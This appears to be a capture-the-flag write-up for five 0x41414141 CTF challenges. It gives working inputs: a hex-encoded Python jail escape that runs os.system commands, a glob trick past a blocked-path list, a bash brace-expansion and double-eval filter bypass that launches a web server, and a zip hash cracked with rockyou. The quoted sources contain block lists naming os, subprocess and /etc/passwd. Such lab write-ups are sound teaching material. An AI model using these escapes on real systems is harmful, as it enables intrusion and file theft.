Pyjail

Introduction to challenge

This was part of the 0x41414141 CTF. You were put in a python jail, and had to escape.

As seen in the source below, you are given 2 tries to find the flag for each connection to the server.

There are two checks that get run every time you enter a command.

The first one checks if your command contains one of the banned words: "import|chr|os|sys|system|builtin|exec|eval|subprocess|pty|popen|read|get_data" The second check is a regex that checks wether your command is only made up of underscores and a-Z0-9.

Challenge source :

#!/usr/bin/env python3

import re
from sys import modules, version

banned = "import|chr|os|sys|system|builtin|exec|eval|subprocess|pty|popen|read|get_data"
search_func = lambda word: re.compile(r"\b({0})\b".format(word), flags=re.IGNORECASE).search

modules.clear()
del modules

def main():
    print(f"{version}\n")
    print("What would you like to say?")
    for _ in range(10):
        print(banned)
        text = input('>>> ').lower()
        check = search_func(banned)(''.join(text.split("__")))
        if check:
            print(f"Nope, we ain't letting you use {check.group(0)}!")
            break
        if re.match("^(_?[A-Za-z0-9])*[A-Za-z](_?[A-Za-z0-9])*$", text):
            print("You aren't getting through that easily, come on.")
            break
        else:
            exec(text, {'globals': globals(), '__builtins__': {}}, {'print':print})

if __name__ == "__main__":
    main()

Solution

I started disecting the challenge by adding a lot of print statements to see what I had left to work with when the following lines are run.

modules.clear()
del modules

The function we are trying to mess with is the last function that is called everytime you enter something:

exec(text, {'globals': globals(), '__builtins__': {}}, {'print':print})

This function passes globals() as globals. This means that even thoug we can’t nateively acess the __builtins__ as that has been set to an empty dictionary, we can access it through globals.['__builtins__'].

Since most of the functions and imports I want to use have been banned, I decided to use hex encoding to call the important functions. Usually you would run something like this :

__builtins__.__dict__['__import__']("os").system("ls")

This might normally work, but since system is a banned word, this did not work.

So I decided to use the first approach to instead run an exec function and hex encode the argument for the function. This looks something like this:

# \x65\x78\x65\x63 is hex for exec
globals['__builtins__'].__dict__['\x65\x78\x65\x63']("<input>")

So far so good, but since I still did not have access to any modules, I decided to go the same way with the command being executed:

globals['__builtins__'].__dict__['__import__']('os').system('<system_command>')

This is then hex encoded and used in the <input> field in the first command.

Using ls as the <system_command> and swapping out __import__ for hex encoded exec gives us the following command:

globals["__builtins__"].__dict__["\x65\x78\x65\x63"]("\x67\x6c\x6f\x62\x61\x6c\x73\x5b\x27\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f\x27\x5d\x2e\x5f\x5f\x64\x69\x63\x74\x5f\x5f\x5b\x27\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x27\x5d\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")

Running this on the server shows that there is a file called flag.txt. Then substituting the ls command with cat flag.txt gives us the flag:

flag{l3t's_try_sc0p1ng_th1s_0ne_2390098}

Optimizer

Introduction to Challenge

In this challenge you connect to a server that then tells you the following:

you will be given a number of problems give me the least number of moves to solve them
level 1: tower of hanoi

Then you are given an array which looks something like this [51, 16, 42, 4, 24, 28, 24, 57, 37, 4, 49, 47, 41, 34, 64, 34, 16]. You then have to give a number for how few moves you have to make to solve this.

Solution

The simple solution is to just count the elements in the array n and shove that into the following formula 2^n-1.

Using python this can be automized:

import socket
import time
from ast import literal_eval
import re

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = '207.180.200.166'
PORT = 9660
s.connect((HOST,PORT))
array_regex = re.compile(r'\[.*?\]')

...

### START CONNECTION ###
print(s.recv(1024))

level = 1
while level == 1:
	inputread = s.recv(1024).decode()
	print(inputread,inputread.count(','))
	res = (2**(inputread.count(',')+1))-1
	print(f'|{res}|')
	s.send(f'{res}\n'.encode())
	time.sleep(0.15)

After a certain amount of correct solves the server will instead ask you to give the number of inversions needed to sort an array with a merge solve algorithm. Adding the following parts to the script will automate this as well:

def getInvCount(arr): 
    inv_count = 0
    for i in range(len(arr)): 
        for j in range(i + 1, len(arr)): 
            if (arr[i] > arr[j]): 
                inv_count += 1
    return inv_count 

...

while level==2:
	inputread = s.recv(1024).decode()
	print(inputread)
	print(getInvCount(literal_eval(array_regex.findall(inputread)[0])))
	s.send(f'{getInvCount(literal_eval(array_regex.findall(inputread)[0]))}'.encode())
	time.sleep(0.15)

After running the script the server returns the flag : flag{g077a_0pt1m1ze_3m_@ll}

complete script

sorry for the bad coding, I was expecting more levels

import socket
import time
from ast import literal_eval
import re

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = '207.180.200.166'
PORT = 9660
s.connect((HOST,PORT))
array_regex = re.compile(r'\[.*?\]')

def getInvCount(arr): 
    inv_count = 0
    for i in range(len(arr)): 
        for j in range(i + 1, len(arr)): 
            if (arr[i] > arr[j]): 
                inv_count += 1
    return inv_count 

### START CONNECTION ###
print(s.recv(1024))

level = 1
while level == 1:
	inputread = s.recv(1024).decode()
	if "level 2" in inputread:
		level = 2
		print(getInvCount(literal_eval(array_regex.findall(inputread)[0])))
		s.send(f'{getInvCount(literal_eval(array_regex.findall(inputread)[0]))}'.encode())
		break
	print(inputread,inputread.count(','))
	res = (2**(inputread.count(',')+1))-1
	print(f'|{res}|')
	s.send(f'{res}\n'.encode())
	time.sleep(0.15)

while level==2:
	inputread = s.recv(1024).decode()
	print(inputread)
	print(getInvCount(literal_eval(array_regex.findall(inputread)[0])))
	s.send(f'{getInvCount(literal_eval(array_regex.findall(inputread)[0]))}'.encode())
	time.sleep(0.15)

Reader

Intro to challenge

You are given the source for a python script that runs on a remote server. The script takes one input when run, but has a few blocked phrases.

Challenge source

import glob

blocked = ["/etc/passwd", "/flag.txt", "/proc/"]

def read_file(file_path):
    for i in blocked:
        if i in file_path:
                return "you aren't allowed to read that file"
    
    try:
        path = glob.glob(file_path)[0]
    except:
        return "file doesn't exist"
    
    return open(path, "r").read()

user_input = input("> ")
print(read_file(user_input))

Solution

As seen in the script the file takes an input, checks if the any of the strings in the blocked list occur in the input, and if not, prints out the content of the file.

The solution to this is simply giving the input /flag.*, the script will then print out the flag :

$ nc 207.180.200.166 2324
give me a file to read
> /flag.*
flag{oof_1t_g0t_expanded_93929}

shjail

Introduction to challenge

Like the pyjail challenge we are here given the source code for a script that runs on a remote server, and we are tasked with “escaping” the jail. This one is tougher than the pyjail as the filter used is much more elaborate : ['&''$''`''>''<''/''*''?'txcsbqi]

Challenge source

shjail.sh
#!/bin/bash
RED='\e[0;31m'
END='\e[0m'
GREEN='\e[0;32m'

while :
do
    echo "What would you like to say?"
	read USER_INP
       	if [[ "$USER_INP" =~ ['&''$''`''>''<''/''*''?'txcsbqi] ]]; then
               	echo -e "${RED}Hmmmm, what are you trying to do?${END}"
       	else
               	OUTPUT=$($USER_INP) &>/dev/null
               	echo -e "${GREEN}The command has been executed. Let's go again!${END}"
       	fi
done 
Dockerfile

As seen in the following, the docker container has two ports exposed both the port you connect to 9998 and also a second port 4545

FROM ubuntu:latest

RUN apt-get update -y \
    && apt-get install -y socat python3.8 \
    && apt-get clean -y

RUN useradd -d /home/challenge -m -s /bin/bash challenge

COPY deps/limits.conf /etc/security/limits.d/90-challenge.conf

WORKDIR /home/challenge

COPY src/shjail.sh .
COPY src/flag.txt .

RUN chmod -R 755 /home/challenge
RUN chmod 444 flag.txt
RUN chmod 555 shjail.sh

RUN chown -R root:root /home/challenge

USER challenge
CMD ["socat", "TCP-LISTEN:9998,reuseaddr,fork", "EXEC:./shjail.sh,stderr"]
EXPOSE 9998
EXPOSE 4545

Solution

Seeing as the filter on the server is so agressive we have to get a bit creative. After some tinkering on the server, we can see that the server has python3.8 installed. Since the server has port 4545 exposed the obvious plan of attack is to expose the contents of the server over http. Because the server is running pytohn3.8 we could do something like this python3.8 -m http.server 4545, but the problem here is that this won’t pass the filter, so we have to do some shell expansion.

Using shell expansion to remove unusable characters in the above example yields the followin string py{q..u}hon3.8 -m h{q..u}{q..u}p.{q..u}erver 4545; Sadly this does not run by itself so instead I tried wrapping it in an eval function however that was not enough, as it did not correctly register the text expansion, so we have to wrap it in another eval function but this time escape all the spaces. This means that the final exploit will look something like this : eval eval py{q..u}hon3.8\\ -m\\ h{q..u}{q..u}p.{q..u}erver\\ 4545\\;

Running this on the server should spin up a webserver on port 4545. Going to a browser shows that it now has a file listing, so we can just click on the file and and open it. This in turn gives us the following flag:


### Problems with the challenge
The only big issue with the challenge is that once a single person has completed the exploit, noone else needs to, as the server keeps the website open.

## 0x414141
### Introduction to challenge
The challenge description says `I think offshift promised to opensource some of their code`.  

### Solution
This seemed like an OSINT challenge, so googling `offshift github` was the first thing I did. This yielded a couple results, but the most interresting one was a repo that had been created within an hour of the CTF going up. 
`https://github.com/offshift-protocol/promo`

The most recent change was a deletion of the `__pycache__` directory. This contained a single `.pyc` file.

`https://github.com/offshift-protocol/promo/blob/dc43c1ac33f767a7d30dbeab123a1c87566e885d/__pycache__/script.cpython-38.pyc?raw=true`

This file can be decomp__y__led (ha) using decompyle3 which yields the following result:
```python
# decompyle3 version 3.3.2
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.8.5 (default, Jul 28 2020, 12:59:40)
# [GCC 9.3.0]
# Embedded file name: ./script.py
# Compiled at: 2020-12-12 14:17:01
# Size of source mod 2**32: 481 bytes
import base64
secret = 'https://google.com'
cipher2 = [b'NDE=', b'NTM=', b'NTM=', b'NDk=', b'NTA=', b'MTIz', b'MTEw', b'MTEw', b'MzI=', b'NTE=', b'MzQ=', b'NDE=', b'NDA=', b'NTU=', b'MzY=', b'MTEx', b'NDA=', b'NTA=', b'MTEw', b'NDY=', b'MTI=', b'NDU=', b'MTE2', b'MTIw']
cipher1 = [base64.b64encode(str(ord(i) ^ 65).encode()) for i in secret]
# okay decompiling script.cpython-38.pyc

Using the following addition to the script : print([chr(int(base64.b64decode(x).decode())^65) for x in cipher2]) We get a new url https://archive.is/oMl59

This gives an image with a url for a file hosted on mega.nz https://mega.nz/file/AAdDyIoB#gpj5s9N9-VnbNhSdkJ24Yyq3BWSYimoxanP-p03gQWs The link is for a pdf file, but sadly it is corrupted. Throwing this into cyberchef I can see that when XOR’ing with 41 I get a valid pdf header. But I also get a correct zip file header. Using the extraction method after XORing I can download the file and open it, or not. Sadly the zip file is password protected.

Using zip2john I can extract the hash ($pkzip2$1*2*2*0*41*35*44f3946a*0*42*0*41*44f3*4eec*bfdee6f805c0f044e95bbcfc5f7f59f0f1dfdb403669c7ec2d37c6cb870f23eef7b1150a11b0e5339ddceacc24ba35d76f3cb3ab815a67ff99e2f40785f69c2977*$/pkzip2$) , and try to crack the password. Using rockyou.txt as the dictionary I quickly get the following password : 706173737764. When trying it on the file it does not work though, so throwing it into cyberchef. Cyberchef magic reveals that the ascii representation of the above password is passwd. When used to try to open the zip file, it indeed works and we can now see the contents of the file:

oh ma gawd you got it 

flag{1t_b33n_A_l0ng_w@y8742}